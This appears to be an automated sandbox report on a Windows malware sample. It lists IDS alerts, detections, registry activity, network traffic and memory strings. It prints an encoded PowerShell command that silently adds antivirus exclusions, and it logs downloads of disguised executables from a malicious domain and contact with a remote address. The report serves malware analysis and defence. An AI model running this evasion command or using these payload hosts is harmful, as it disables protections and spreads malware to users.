powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwALABDADoAXABVAHMAZQByAHMAXABqAG8AbgBlAHMAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAVAB5AHAAZQBJAGQALgBlAHgAZQA7AA==, ProcessId: 7748, ProcessName: powershell.exe

Snort Signatures

ET TROJAN PE EXE or DLL Windows file download disguised as ASCII - Source IP: 188.114.96.3 - Destination IP: 192.168.2.4

Timestamp:	06/17/24-16:18:47.509452
SID:	2017962
Source Port:	443
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN PE EXE or DLL Windows file download disguised as ASCII - Source IP: 188.114.96.3 - Destination IP: 192.168.2.4

Timestamp:	06/17/24-16:18:41.893163
SID:	2017962
Source Port:	443
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN PE EXE or DLL Windows file download Text M2 - Source IP: 188.114.96.3 - Destination IP: 192.168.2.4

Timestamp:	06/17/24-16:18:41.893163
SID:	2022640
Source Port:	443
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN PE EXE or DLL Windows file download Text M2 - Source IP: 188.114.96.3 - Destination IP: 192.168.2.4

Timestamp:	06/17/24-16:18:47.509452
SID:	2022640
Source Port:	443
Destination Port:	49732
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET CURRENT_EVENTS DRIVEBY GENERIC ShellExecute in Hex No Seps - Source IP: 188.114.96.3 - Destination IP: 192.168.2.4

Timestamp:	06/17/24-16:18:42.601428
SID:	2020482
Source Port:	443
Destination Port:	49731
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe

ReversingLabs: Detection: 13%

Multi AV Scanner detection for submitted file

Source: file.exe	ReversingLabs: Detection: 13%
Source: file.exe	Virustotal: Detection: 39%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:65277 version: TLS 1.2

Source: file.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: file.exe, 00000000.00000002.1786708622.0000000006F80000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000478C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1763526633.0000000003646000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3019858995.0000000004922000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002A00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: file.exe, 00000000.00000002.1786708622.0000000006F80000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000478C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1763526633.0000000003646000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.00000000032A9000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3019858995.0000000004922000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002A00000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: Fbedztzxbbe.pdb source: file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.0000000004378000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3019858995.0000000004AB7000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3019858995.0000000004922000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\LocalServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\Elevation	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\TreatAs	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_CURRENT_USER_Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\InprocServer32	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 07B8B94Ch	0_2_07B8B718
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 07B8B94Ch	0_2_07B8B708
Source: C:\Users\user\Desktop\file.exe	Code function: 4x nop then jmp 07B8CF3Eh	0_2_07B8CE10
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 4x nop then jmp 06D5CF3Eh	3_2_06D5CE10
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 4x nop then jmp 06D5B94Ch	3_2_06D5B718
Source: C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe	Code function: 4x nop then jmp 06D5B94Ch	3_2_06D5B708
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 4x nop then jmp 056BD6D2h	11_2_056BD508
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 4x nop then jmp 056BD6D2h	11_2_056BD4F9
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 4x nop then jmp 056BD6D2h	11_2_056BD698
Source: C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe	Code function: 4x nop then jmp 056BD6D2h	11_2_056BD844

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2022640 ET TROJAN PE EXE or DLL Windows file download Text M2 188.114.96.3:443 -> 192.168.2.4:49731
Source: Traffic	Snort IDS: 2017962 ET TROJAN PE EXE or DLL Windows file download disguised as ASCII 188.114.96.3:443 -> 192.168.2.4:49731
Source: Traffic	Snort IDS: 2020482 ET CURRENT_EVENTS DRIVEBY GENERIC ShellExecute in Hex No Seps 188.114.96.3:443 -> 192.168.2.4:49731
Source: Traffic	Snort IDS: 2022640 ET TROJAN PE EXE or DLL Windows file download Text M2 188.114.96.3:443 -> 192.168.2.4:49732
Source: Traffic	Snort IDS: 2017962 ET TROJAN PE EXE or DLL Windows file download disguised as ASCII 188.114.96.3:443 -> 192.168.2.4:49732

Source: global traffic

TCP traffic: 192.168.2.4:49735 -> 77.221.140.76:58001

Source: global traffic	HTTP traffic detected: GET /don2/Qlxywcbxa.mp4 HTTP/1.1Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farmConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /don2/Qlxywcbxa.mp4 HTTP/1.1Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farmConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /don2/Qlxywcbxa.mp4 HTTP/1.1Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farmConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /don2-m/kr/Wudbiu.exe HTTP/1.1Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farmConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /don2-m/Dllzeadr.pdf HTTP/1.1Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farmConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 77.221.140.76 77.221.140.76

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /don2/Qlxywcbxa.mp4 HTTP/1.1Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farmConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /don2/Qlxywcbxa.mp4 HTTP/1.1Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farmConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /don2/Qlxywcbxa.mp4 HTTP/1.1Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farmConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /don2-m/kr/Wudbiu.exe HTTP/1.1Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farmConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /don2-m/Dllzeadr.pdf HTTP/1.1Host: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farmConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm
Source: global traffic	DNS traffic detected: DNS query: 1.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm

Source: powershell.exe, 00000001.00000002.2345847023.00000182CF8C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.m
Source: InstallUtil.exe, 00000004.00000002.2976520133.00000000033C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm
Source: InstallUtil.exe, 00000004.00000002.2976520133.00000000033C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm8
Source: powershell.exe, 00000001.00000002.2289203789.00000182C7537000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273124397.0000021126CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.1908721371.0000021116E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: file.exe, 00000000.00000002.1789639440.0000000007729000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microso
Source: file.exe, 00000000.00000002.1788650172.0000000007287000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft
Source: powershell.exe, 00000001.00000002.1923913361.00000182B76E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021116E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: file.exe, 00000000.00000002.1763526633.0000000003371000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1923913361.00000182B74C1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.0000000003121000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2976520133.0000000003051000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021116C31000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1923913361.00000182B76E9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021116E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: powershell.exe, 00000006.00000002.1908721371.0000021116E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000006.00000002.2347588371.000002112F32A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.
Source: powershell.exe, 00000001.00000002.1923913361.00000182B74C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1908721371.0000021116C31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000006.00000002.2273124397.0000021126CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.2273124397.0000021126CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.2273124397.0000021126CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: InstallUtil.exe, 00000004.00000002.2976520133.00000000033B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.
Source: file.exe, 00000000.00000002.1763526633.0000000003371000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.0000000003121000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2976520133.00000000033B4000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002851000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm
Source: InstallUtil.exe, 00000004.00000002.2976520133.00000000033EE000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000000.1930459181.0000000000512000.00000002.00000001.01000000.0000000B.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002851000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe.4.dr	String found in binary or memory: https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2-m/Dllzeadr.pdf
Source: InstallUtil.exe, 00000004.00000002.2976520133.00000000033B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2-m/kr/Wudbi
Source: file.exe, TypeId.exe.0.dr	String found in binary or memory: https://f.r14n788iocyo5epmpy6klmejchjtzddoekjlnt6mu3qh4de2i.farm/don2/Qlxywcbxa.mp4
Source: powershell.exe, 00000006.00000002.1908721371.0000021116E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: powershell.exe, 00000001.00000002.2345847023.00000182CF8C6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ion=v4.5T
Source: powershell.exe, 00000001.00000002.2289203789.00000182C7537000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.2273124397.0000021126CA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: file.exe, 00000000.00000002.1790879005.00000000083C0000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1767868411.000000000459C000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1785706737.0000000006E10000.00000004.08000000.00040000.00000000.sdmp, file.exe, 00000000.00000002.1824447213.0000000009EB1000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000002.1763526633.0000000003526000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1841950156.0000000003170000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.00000000047F2000.00000004.00000800.00020000.00000000.sdmp, TypeId.exe, 00000003.00000002.1869188121.0000000004C76000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.2976520133.0000000003200000.00000004.00000800.00020000.00000000.sdmp, InstallUtil.exe, 00000004.00000002.3095261684.00000000076D6000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.2048354854.0000000003F2D000.00000004.00000800.00020000.00000000.sdmp, txxbiwtbs.exe, 0000000B.00000002.1995844689.0000000002A00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
